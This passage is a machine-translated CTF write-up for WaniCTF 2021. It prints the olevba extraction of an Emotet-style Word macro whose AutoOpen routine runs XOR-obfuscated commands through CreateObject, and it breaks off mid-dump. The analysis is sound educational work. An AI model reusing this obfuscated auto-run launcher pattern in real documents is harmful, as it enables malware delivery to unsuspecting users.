{"componentChunkName":"component---src-templates-post-template-js","path":"/ctf-wanictf-autum-2021-en","result":{"data":{"markdownRemark":{"id":"3e07933a-9145-5b69-88bf-1855642fdd00","html":"<blockquote>\n<p>This page has been machine-translated from the <a href=\"/ctf-wanictf-autum-2021\">original page</a>.</p>\n</blockquote>\n<p>I participated in WaniCTF 2021, which started on 2021/11/5, this time competing solo rather than as team <a href=\"https://ctftime.org/team/168239\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">0neP@dding</a>.</p>\n<p>I scored 4820 points and finished 20th out of 430 participants.</p>\n<p>Early on I even climbed as high as 4th and managed to stay in the single-digit ranks for a while, but later I fell completely out of contention for the top spots… very frustrating.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 500px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/6b308b0a953a47c4ec3a962ccc8168c7/0b533/image-5.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 50.416666666666664%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAARlAAAEZQAGA43XUAAACe0lEQVQozz2T30sUURTH97HH2tXZnblzZ3Zmd2ZndiwV0d3ZXdd0K7XEosJEFjHUiExQLHuwHxCEUc9BFJRhRWVhhgXqUppYFEX00GN/Q5APIj18OzOrPhwOc+89n/u933MmIIoiGGM7IUnSTlYUBfF43A/DMGCaJmRZ9ve2g3EORmuyzBEJhxHg3gdXaJGDcxVaNArOZL9Q1zXYtg3LsvzsOA6t6YiqKqJ0zsu8shKyKFCN4F8QkCSGpKGjKhFDdZUGNU6Q2iRB4qS0DPaUeqo5L18Si+n+xRopT57uh9XSBSdbhBgREBAlGVVJDbV1JtLdY+hvbkN7OgPVSMBTr26rIajIOIQIQ0UFWSJKdMZEbu0r3IkZ5M8uICLsQcBT4HmQ6nuE/O0NfO+5iN/FZhTcBBXL/rM8VbtCEYyerMHkYAN6B+pQU61B1k1kS8tIjU8jN/C6DJTCQSSzPTgy+RdN1/6gNDgCTB3CyytNPlBVFVgxDTUshntDLhZvNePzzxNoLSQQqtDQ+OEj0uNPCPhmCxjcjb1951H4sYnC8je8Xy1i/V0Hlm60kGccIkXGTmCVrHg6lMPM9TyWVjpxrFgNI7cP2aVlAj4m4FwZyMICtHoX7b/WMLwxhk/rp/Bvsw+XRlMIhWgsVA43YeJL4TBmhhsxd3M/SqUOXJhtR9fccaTmV8jDZ2g883bLQ+ocExhqWx10v2rDncVOXJ1wwagJCqmTKFIEnM8fxP2BDKYu5/D8RSvOPTiAow87UD89i4aRu3B7pwkYLDdFIZ8kgrIwjYnCEQxK1GHuj4v3bK/DDs2fTeNlmxS2jrilQbd06EkHmmHRCNnwfpL/54NbRGf2dIMAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/6b308b0a953a47c4ec3a962ccc8168c7/8ac56/image-5.webp 240w,\n/static/6b308b0a953a47c4ec3a962ccc8168c7/d3be9/image-5.webp 480w,\n/static/6b308b0a953a47c4ec3a962ccc8168c7/b0a15/image-5.webp 500w\"\n              sizes=\"(max-width: 500px) 100vw, 500px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/6b308b0a953a47c4ec3a962ccc8168c7/8ff5a/image-5.png 240w,\n/static/6b308b0a953a47c4ec3a962ccc8168c7/e85cb/image-5.png 480w,\n/static/6b308b0a953a47c4ec3a962ccc8168c7/0b533/image-5.png 500w\"\n            sizes=\"(max-width: 500px) 100vw, 500px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/6b308b0a953a47c4ec3a962ccc8168c7/0b533/image-5.png\"\n            alt=\"image-5.png\"\n            title=\"image-5.png\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>As usual, I am going to summarize the challenges that were interesting or educational.</p>\n<!-- omit in toc -->\n<h2 id=\"table-of-contents\" style=\"position:relative;\"><a href=\"#table-of-contents\" aria-label=\"table of contents permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Table of Contents</h2>\n<ul>\n<li>\n<p><a href=\"#rev\">Rev</a></p>\n<ul>\n<li><a href=\"#emoemotethard\">EmoEmotet(Hard)</a></li>\n</ul>\n</li>\n<li>\n<p><a href=\"#web\">Web</a></p>\n<ul>\n<li><a href=\"#styled-memovery-hard\">Styled memo(very hard)</a></li>\n<li><a href=\"#steal-the-admin-users-credentials-themselves\">Steal the admin user’s credentials themselves</a></li>\n<li><a href=\"#tamper-with-the-admin-users-registration\">Tamper with the admin user’s registration</a></li>\n<li><a href=\"#make-the-admin-user-load-a-normal-users-css\">Make the admin user load a normal user’s CSS</a></li>\n<li><a href=\"#tamper-with-the-css-loaded-by-the-admin-user\">Tamper with the CSS loaded by the admin user</a></li>\n<li><a href=\"#blind-css-injection\">Blind CSS Injection</a></li>\n</ul>\n</li>\n<li>\n<p><a href=\"#unsolved-challenges\">Unsolved Challenges</a></p>\n<ul>\n<li><a href=\"#breakraidforensic\">breakRAID(Forensic)</a></li>\n</ul>\n</li>\n<li><a href=\"#summary\">Summary</a></li>\n</ul>\n<h2 id=\"rev\" style=\"position:relative;\"><a href=\"#rev\" aria-label=\"rev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Rev</h2>\n<p>There were only three reversing challenges this time, and they were all relatively easy, so I cleared them quickly.</p>\n<p>I even managed to get first blood on the last reversing challenge. (applause)</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/45ee80da9b8bd72e1c06d618d9b197e7/1e043/image-4.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 71.25%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAABsElEQVQ4y3WTabaDIAyFuw9lcEBxwoF3Trv/jeXlRq3a2h8cFMKXe0l4KKUoTVPSWsu8/ydJQlVV0TiO5OuaEutI+UjK9RKrOQ7z+Ty+H8ZYcnwQP5gNb5RlSUVRSCCGMYac70jZknTGQxsB4gz2EK+2BA9rLTVNIz/eNxJQs6JzUJZlvMZJ04RB6UWdtby3CRIgAFCFOYSBFxV5TvB6vcTyrmIMgWKMtCwLxSUeCU1GqVvI2EISCRAKQG/bVhYrVoixZ0VM13bU9z11XceJg5xZgZZ0OQhYgLCc57kcRKBihb331LK69ASEwmmaZMT4tylMV1A1k7b5AdwVQoHmwx6KMkPK6Ddw4L1hGCQmhJGvoz6AbrwqvAB5sWHr56J8AtFK6/3+AJ4toyiocuXcBTiyKtgNDIXluqrfRdHVdFj+KsrWh58KO95DQRq+XyQuS3cUxYV7hbCEuWlaGie2oY47hDKAeobO87zdIbeUvVEI6LltPKuob9oGClvuUVh3zv1um93yqlDJy4E1ebMnhSgGFKK5D2D2bRnv9g3cqvx8PuUe97e8W8aIDMQ13fXhPx4Kiqan/uIKAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/45ee80da9b8bd72e1c06d618d9b197e7/8ac56/image-4.webp 240w,\n/static/45ee80da9b8bd72e1c06d618d9b197e7/d3be9/image-4.webp 480w,\n/static/45ee80da9b8bd72e1c06d618d9b197e7/8efd0/image-4.webp 690w\"\n              sizes=\"(max-width: 690px) 100vw, 690px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/45ee80da9b8bd72e1c06d618d9b197e7/8ff5a/image-4.png 240w,\n/static/45ee80da9b8bd72e1c06d618d9b197e7/e85cb/image-4.png 480w,\n/static/45ee80da9b8bd72e1c06d618d9b197e7/1e043/image-4.png 690w\"\n            sizes=\"(max-width: 690px) 100vw, 690px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/45ee80da9b8bd72e1c06d618d9b197e7/1e043/image-4.png\"\n            alt=\"image-4.png\"\n            title=\"image-4.png\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h3 id=\"emoemotethard\" style=\"position:relative;\"><a href=\"#emoemotethard\" aria-label=\"emoemotethard permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>EmoEmotet(Hard)</h3>\n<p>This was the last reversing challenge.</p>\n<p>You are given a document file with a macro that behaves like Emotet.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">A suspicious-looking <span class=\"token function\">file</span> was attached to an email.\n\nCould this be that Emo--- thing<span class=\"token punctuation\">..</span>.?\n\nNotice\n\nThe <span class=\"token function\">zip</span> password is emoemotet\nThis <span class=\"token function\">file</span> was created <span class=\"token keyword\">for</span> the competition and does not contain programs that harm the system\nThis <span class=\"token function\">file</span> may be falsely detected and deleted by some antivirus software\nYou can solve it even without Windows or Word\nHint <span class=\"token builtin class-name\">:</span> https://github.com/decalage2/oletools</code></pre></div>\n<p>However, the document file was corrupted, so you could not simply execute the macro.</p>\n<p>So, as hinted, I used <code class=\"language-text\">oletools</code> to extract the macro script.</p>\n<div class=\"gatsby-highlight\" data-language=\"powershell\"><pre class=\"language-powershell\"><code class=\"language-powershell\">olevba 0<span class=\"token punctuation\">.</span>60 on Python 3<span class=\"token punctuation\">.</span>9<span class=\"token punctuation\">.</span>2 <span class=\"token operator\">-</span> http:<span class=\"token operator\">/</span><span class=\"token operator\">/</span>decalage<span class=\"token punctuation\">.</span>info/python/oletools\n===============================================================================\nFILE: <span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token operator\">/</span>rev-emoemotet/emoemotet<span class=\"token punctuation\">.</span>doc\n<span class=\"token function\">Type</span>: OLE\n<span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">-</span>\nVBA MACRO emo \nin file: <span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token operator\">/</span>rev-emoemotet/emoemotet<span class=\"token punctuation\">.</span>doc <span class=\"token operator\">-</span> OLE stream: <span class=\"token string\">'emo'</span>\n<span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> <span class=\"token operator\">-</span> \n\nPrivate InitDone       As Boolean\nPrivate Map1<span class=\"token punctuation\">(</span>0 To 63<span class=\"token punctuation\">)</span>  As Byte\nPrivate Map2<span class=\"token punctuation\">(</span>0 To 127<span class=\"token punctuation\">)</span> As Byte\n\nSub AutoOpen<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\nCreateObject<span class=\"token punctuation\">(</span>unxor<span class=\"token punctuation\">(</span>Array<span class=\"token punctuation\">(</span>135<span class=\"token punctuation\">,</span> 46<span class=\"token punctuation\">,</span> 140<span class=\"token punctuation\">,</span> 24<span class=\"token punctuation\">,</span> 228<span class=\"token punctuation\">,</span> 225<span class=\"token punctuation\">,</span> 126<span class=\"token punctuation\">,</span> 169<span class=\"token punctuation\">,</span> 34<span class=\"token punctuation\">,</span> 40<span class=\"token punctuation\">,</span> 56<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> 3<span class=\"token punctuation\">)</span> &amp; unxor<span class=\"token punctuation\">(</span>Array<span class=\"token punctuation\">(</span>201<span class=\"token punctuation\">,</span> 1<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> 14<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>Run unxor<span class=\"token punctuation\">(</span>Array<span class=\"token punctuation\">(</span>137<span class=\"token punctuation\">,</span> 123<span class=\"token punctuation\">,</span> 117<span class=\"token punctuation\">,</span> 87<span class=\"token punctuation\">,</span> 89<span class=\"token punctuation\">,</span> 140<span class=\"token punctuation\">,</span> 200<span class=\"token punctuation\">,</span> 174<span class=\"token punctuation\">,</span> 138<span class=\"token punctuation\">,</span> 204<span class=\"token punctuation\">,</span> 135<span class=\"token punctuation\">,</span> 229<span class=\"token punctuation\">,</span> 75<span class=\"token punctuation\">,</span> 9<span class=\"token punctuation\">,</span> 168<span class=\"token punctuation\">,</span> 39<span class=\"token punctuation\">,</span> 117<span class=\"token punctuation\">,</span> 219<span class=\"token punctuation\">,</span> 2<span class=\"token punctuation\">,</span> 212<span class=\"token punctuation\">,</span> 118<span class=\"token punctuation\">,</span> 230<span class=\"token punctuation\">,</span> 128<span class=\"token punctuation\">,</span> 213<span class=\"token punctuation\">,</span> 197<span class=\"token punctuation\">,</span> 44<span class=\"token punctuation\">,</span> 99<span class=\"token punctuation\">,</span> 93<span class=\"token punctuation\">,</span> 193<span class=\"token punctuation\">,</span> 144<span class=\"token punctuation\">,</span> 49<span class=\"token punctuation\">,</span> 210<span class=\"token punctuation\">,</span> 70<span class=\"token punctuation\">,</span> 175<span class=\"token punctuation\">,</span> 228<span class=\"token punctuation\">,</span> 16<span class=\"token punctuation\">,</span> 187<span class=\"token punctuation\">,</span> 75<span class=\"token punctuation\">,</span> 36<span class=\"token punctuation\">,</span> 215<span class=\"token punctuation\">,</span> 144<span class=\"token punctuation\">,</span> 31<span class=\"token punctuation\">,</span> 223<span class=\"token punctuation\">,</span> 159<span class=\"token punctuation\">,</span> 127<span class=\"token punctuation\">,</span> 45<span class=\"token punctuation\">,</span> 9<span class=\"token punctuation\">,</span> 205<span class=\"token punctuation\">,</span> 183<span class=\"token punctuation\">,</span> 34<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> 16<span class=\"token punctuation\">)</span> &amp; _\nunxor<span class=\"token punctuation\">(</span>Array<span class=\"token punctuation\">(</span>199<span class=\"token punctuation\">,</span> 228<span class=\"token punctuation\">,</span> 3<span class=\"token punctuation\">,</span> 153<span class=\"token punctuation\">,</span> 81<span class=\"token punctuation\">,</span> 192<span class=\"token punctuation\">,</span> 25<span class=\"token punctuation\">,</span> 128<span class=\"token punctuation\">,</span> 137<span class=\"token punctuation\">,</span> 147<span class=\"token punctuation\">,</span> 136<span class=\"token punctuation\">,</span> 23<span class=\"token punctuation\">,</span> 7<span class=\"token punctuation\">,</span> 80<span class=\"token punctuation\">,</span> 224<span class=\"token punctuation\">,</span> 108<span class=\"token punctuation\">,</span> 203<span class=\"token punctuation\">,</span> 255<span class=\"token punctuation\">,</span> 197<span class=\"token punctuation\">,</span> 21<span class=\"token punctuation\">,</span> 174<span class=\"token punctuation\">,</span> 66<span class=\"token punctuation\">,</span> 117<span class=\"token punctuation\">,</span> 184<span class=\"token punctuation\">,</span> 52<span class=\"token punctuation\">,</span> 127<span class=\"token punctuation\">,</span> 71<span class=\"token punctuation\">,</span> 19<span class=\"token punctuation\">,</span> 183<span class=\"token punctuation\">,</span> 239<span class=\"token punctuation\">,</span> 29<span class=\"token punctuation\">,</span> 155<span class=\"token punctuation\">,</span> 18<span class=\"token punctuation\">,</span> 223<span class=\"token punctuation\">,</span> 159<span class=\"token punctuation\">,</span> 241<span class=\"token punctuation\">,</span> 35<span class=\"token punctuation\">,</span> 183<span class=\"token punctuation\">,</span> 202<span class=\"token punctuation\">,</span> 179<span class=\"token punctuation\">,</span> 22<span class=\"token punctuation\">,</span> 101<span class=\"token punctuation\">,</span> 99<span class=\"token punctuation\">,</span> 100<span class=\"token punctuation\">,</span> 54<span class=\"token punctuation\">,</span> 218<span class=\"token punctuation\">,</span> 32<span class=\"token punctuation\">,</span> 33<span class=\"token punctuation\">,</span> 142<span class=\"token punctuation\">,</span> 198<span class=\"token punctuation\">,</span> 175<span class=\"token punctuation\">,</span> 159<span class=\"token punctuation\">,</span> 29<span class=\"token punctuation\">,</span> 205<span class=\"token punctuation\">,</span> 110<span class=\"token punctuation\">,</span> 154<span class=\"token punctuation\">,</span> 65<span class=\"token punctuation\">,</span> 22<span class=\"token punctuation\">,</span> 247<span class=\"token punctuation\">,</span> 152<span class=\"token punctuation\">,</span> 91<span class=\"token punctuation\">,</span> 192<span class=\"token punctuation\">,</span> 108<span class=\"token punctuation\">,</span> 145<span class=\"token punctuation\">,</span> 58<span class=\"token punctuation\">,</span> 203<span class=\"token punctuation\">,</span> 25<span class=\"token punctuation\">,</span> 158<span class=\"token punctuation\">,</span> 99<span class=\"token punctuation\">,</span> 37<span class=\"token punctuation\">,</span> 128<span class=\"token punctuation\">,</span> 229<span class=\"token punctuation\">,</span> 54<span class=\"token punctuation\">,</span> 60<span class=\"token punctuation\">,</span> 38<span class=\"token punctuation\">,</span> 178<span class=\"token punctuation\">,</span> 134<span class=\"token punctuation\">,</span> 208<span class=\"token punctuation\">,</span> 68<span class=\"token punctuation\">,</span> 38<span class=\"token punctuation\">,</span> 39<span class=\"token punctuation\">,</span> 99<span class=\"token punctuation\">,</span> 76<span class=\"token punctuation\">,</span> 155<span class=\"token punctuation\">,</span> 56<span class=\"token punctuation\">,</span> 147<span class=\"token punctuation\">,</span> 53<span class=\"token punctuation\">,</span> 156<span class=\"token punctuation\">,</span> 203<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> 66<span class=\"token punctuation\">)</span> &amp; _\nunxor<span class=\"token punctuation\">(</span>Array<span class=\"token punctuation\">(</span>102<span class=\"token punctuation\">,</span> 198<span class=\"token punctuation\">,</span> 208<span class=\"token punctuation\">,</span> 164<span class=\"token punctuation\">,</span> 182<span class=\"token punctuation\">,</span> 203<span class=\"token punctuation\">,</span> 117<span class=\"token punctuation\">,</span> 231<span class=\"token punctuation\">,</span> 127<span class=\"token punctuation\">,</span> 219<span class=\"token punctuation\">,</span> 94<span class=\"token punctuation\">,</span> 126<span class=\"token punctuation\">,</span> 10<span class=\"token punctuation\">,</span> 162<span class=\"token punctuation\">,</span> 173<span class=\"token punctuation\">,</span> 72<span class=\"token punctuation\">,</span> 207<span class=\"token punctuation\">,</span> 156<span class=\"token punctuation\">,</span> 150<span class=\"token punctuation\">,</span> 219<span class=\"token punctuation\">,</span> 167<span class=\"token punctuation\">,</span> 117<span class=\"token punctuation\">,</span> 27<span class=\"token punctuation\">,</span> 172<span class=\"token punctuation\">,</span> 242<span class=\"token punctuation\">,</span> 233<span class=\"token punctuation\">,</span> 32<span class=\"token punctuation\">,</span> 72<span class=\"token punctuation\">,</span> 61<span class=\"token punctuation\">,</span> 65<span class=\"token punctuation\">,</span> 178<span class=\"token punctuation\">,</span> 142<span class=\"token punctuation\">,</span> 245<span class=\"token punctuation\">,</span> 133<span class=\"token punctuation\">,</span> 139<span class=\"token punctuation\">,</span> 29<span class=\"token punctuation\">,</span> 181<span class=\"token punctuation\">,</span> 134<span class=\"token punctuation\">,</span> 18<span class=\"token punctuation\">,</span> 199<span class=\"token punctuation\">,</span> 242<span class=\"token punctuation\">,</span> 233<span class=\"token punctuation\">,</span> 14<span class=\"token punctuation\">,</span> 5<span class=\"token punctuation\">,</span> 134<span class=\"token punctuation\">,</span> 127<span class=\"token punctuation\">,</span> 212<span class=\"token punctuation\">,</span> 91<span class=\"token punctuation\">,</span> 91<span class=\"token punctuation\">,</span> 8<span class=\"token punctuation\">,</span> 171<span class=\"token punctuation\">,</span> 90<span class=\"token punctuation\">,</span> 25<span class=\"token punctuation\">,</span> 109<span class=\"token punctuation\">,</span> 198<span class=\"token punctuation\">,</span> 97<span class=\"token punctuation\">,</span> 6<span class=\"token punctuation\">,</span> 157<span class=\"token punctuation\">,</span> 10<span class=\"token punctuation\">,</span> 45<span class=\"token punctuation\">,</span> 214<span class=\"token punctuation\">,</span> 27<span class=\"token punctuation\">,</span> 185<span class=\"token punctuation\">,</span> 134<span class=\"token punctuation\">,</span> 246<span class=\"token punctuation\">,</span> 145<span class=\"token punctuation\">,</span> 32<span class=\"token punctuation\">,</span> 196<span class=\"token punctuation\">,</span> 221<span class=\"token punctuation\">,</span> 131<span class=\"token punctuation\">,</span> 137<span class=\"token punctuation\">,</span> 27<span class=\"token punctuation\">,</span> 100<span class=\"token punctuation\">,</span> 146<span class=\"token punctuation\">,</span> 80<span class=\"token punctuation\">,</span> 67<span class=\"token punctuation\">,</span> 177<span class=\"token punctuation\">,</span> 161<span class=\"token punctuation\">,</span> 71<span class=\"token punctuation\">,</span> 193<span class=\"token punctuation\">,</span> 155<span class=\"token punctuation\">,</span> 175<span class=\"token punctuation\">,</span> 42<span class=\"token punctuation\">,</span> 192<span class=\"token punctuation\">,</span> 227<span class=\"token punctuation\">,</span> 172<span class=\"token punctuation\">,</span> 239<span class=\"token punctuation\">,</span> 123<span class=\"token punctuation\">,</span> 92<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> 155<span class=\"token punctuation\">)</span> &amp; _\nunxor<span class=\"token punctuation\">(</span>Array<span class=\"token punctuation\">(</span>234<span class=\"token punctuation\">,</span> 141<span class=\"token punctuation\">,</span> 79<span class=\"token punctuation\">,</span> 179<span class=\"token punctuation\">,</span> 223<span class=\"token punctuation\">,</span> 15<span class=\"token punctuation\">,</span> 203<span class=\"token punctuation\">,</span> 43<span class=\"token punctuation\">,</span> 171<span class=\"token punctuation\">,</span> 112<span class=\"token punctuation\">,</span> 201<span class=\"token punctuation\">,</span> 234<span class=\"token punctuation\">,</span> 98<span class=\"token punctuation\">,</span> 141<span class=\"token punctuation\">,</span> 170<span class=\"token punctuation\">,</span> 14<span class=\"token punctuation\">,</span> 174<span class=\"token punctuation\">,</span> 104<span class=\"token punctuation\">,</span> 46<span class=\"token punctuation\">,</span> 107<span class=\"token punctuation\">,</span> 122<span class=\"token punctuation\">,</span> 18<span class=\"token punctuation\">,</span> 176<span class=\"token punctuation\">,</span> 138<span class=\"token punctuation\">,</span> 238<span class=\"token punctuation\">,</span> 208<span class=\"token punctuation\">,</span> 78<span class=\"token punctuation\">,</span> 126<span class=\"token punctuation\">,</span> 217<span class=\"token punctuation\">,</span> 208<span class=\"token punctuation\">,</span> 197<span class=\"token punctuation\">,</span> 2<span class=\"token punctuation\">,</span> 219<span class=\"token punctuation\">,</span> 144<span class=\"token punctuation\">,</span> 118<span class=\"token punctuation\">,</span> 145<span class=\"token punctuation\">,</span> 213<span class=\"token punctuation\">,</span> 45<span class=\"token punctuation\">,</span> 173<span class=\"token punctuation\">,</span> 225<span class=\"token punctuation\">,</span> 233<span class=\"token punctuation\">,</span> 161<span class=\"token punctuation\">,</span> 66<span class=\"token punctuation\">,</span> 174<span class=\"token punctuation\">,</span> 198<span class=\"token punctuation\">,</span> 108<span class=\"token punctuation\">,</span> 46<span class=\"token punctuation\">,</span> 184<span class=\"token punctuation\">,</span> 249<span class=\"token punctuation\">,</span> 150<span class=\"token punctuation\">,</span> 178<span class=\"token punctuation\">,</span> 36<span class=\"token punctuation\">,</span> 223<span class=\"token punctuation\">,</span> 5<span class=\"token punctuation\">,</span> 41<span class=\"token punctuation\">,</span> 60<span class=\"token punctuation\">,</span> 105<span class=\"token punctuation\">,</span> 114<span class=\"token punctuation\">,</span> 110<span class=\"token punctuation\">,</span> 110<span class=\"token punctuation\">,</span> 40<span class=\"token punctuation\">,</span> 134<span class=\"token punctuation\">,</span> 139<span class=\"token punctuation\">,</span> 35<span class=\"token punctuation\">,</span> 41<span class=\"token punctuation\">,</span> 235<span class=\"token punctuation\">,</span> 57<span class=\"token punctuation\">,</span> 182<span class=\"token punctuation\">,</span> 60<span class=\"token punctuation\">,</span> 105<span class=\"token punctuation\">,</span> 58<span class=\"token punctuation\">,</span> 175<span class=\"token punctuation\">,</span> 196<span class=\"token punctuation\">,</span> 240<span class=\"token punctuation\">,</span> 224<span class=\"token punctuation\">,</span> 144<span class=\"token punctuation\">,</span> 250<span class=\"token punctuation\">,</span> 156<span class=\"token punctuation\">,</span> 14<span class=\"token punctuation\">,</span> 138<span class=\"token punctuation\">,</span> 217<span class=\"token punctuation\">,</span> 9<span class=\"token punctuation\">,</span> 147<span class=\"token punctuation\">,</span> 115<span class=\"token punctuation\">,</span> 55<span class=\"token punctuation\">,</span> 194<span class=\"token punctuation\">,</span> 186<span class=\"token punctuation\">,</span> 162<span class=\"token punctuation\">,</span> 79<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> 244<span class=\"token punctuation\">)</span> &amp; _\nunxor<span class=\"token punctuation\">(</span>Array<span class=\"token punctuation\">(</span>209<span class=\"token punctuation\">,</span> 193<span class=\"token punctuation\">,</span> 20<span class=\"token punctuation\">,</span> 114<span class=\"token punctuation\">,</span> 189<span class=\"token punctuation\">,</span> 230<span class=\"token punctuation\">,</span> 8<span class=\"token punctuation\">,</span> 167<span class=\"token punctuation\">,</span> 240<span class=\"token punctuation\">,</span> 61<span class=\"token punctuation\">,</span> 224<span class=\"token punctuation\">,</span> 242<span class=\"token punctuation\">,</span> 135<span class=\"token punctuation\">,</span> 166<span class=\"token punctuation\">,</span> 38<span class=\"token punctuation\">,</span> 7<span class=\"token punctuation\">,</span> 87<span class=\"token punctuation\">,</span> 151<span class=\"token 